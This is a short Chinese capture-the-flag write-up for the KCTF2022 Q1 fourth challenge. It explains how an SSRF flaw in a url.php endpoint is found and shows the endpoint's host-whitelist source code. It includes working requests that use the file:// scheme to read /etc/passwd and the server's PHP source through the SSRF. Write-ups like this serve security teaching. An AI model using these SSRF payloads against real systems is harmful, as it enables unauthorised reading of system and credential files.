KCTF2022 Q1 第四题飞蛾扑火

考点：ssrf & url bypass

<html>
<head>
<meta charset="utf-8">
<title>欢迎挑战 Design by 香草</title>
</head>
<body>
<!--phpinfo.php-->
<img src="url.php?url=https://ctf.pediy.com/upload/team/762/team236762.png">
</body>
</html>

看到phpinfo.php和url.php

想到ssrf
file协议：http://121.36.145.157:8044/url.php?url=file://127.0.0.1/etc/passwd
能读取到passwd

读取下url.php

1	`curl http://121.36.145.157:8044/url.php?url=file://127.0.0.1/var/www/html/url.php`

主干

$url=$_GET["url"];
$uu=parse_url($url);
$host=isset($uu["host"])?$uu["host"]:"";
$scheme=isset($uu["scheme"])?$uu["scheme"]:"";
if(empty($host)){
        die("host is null");
}
if(empty($scheme)){
        die("scheme is null");
}
 
//https://ctf.pediy.com/upload/team/762/team236762.png?
if($host=="ctf.pediy.com"||$host=="127.0.0.1"||$host=="localhost"){
//echo curl_request("http://123.57.254.42/flag.php","get",[],true,5);//get flag
  echo curl_request($url,'',"get",[],true,5);
 
}else{
die("host not allow");
}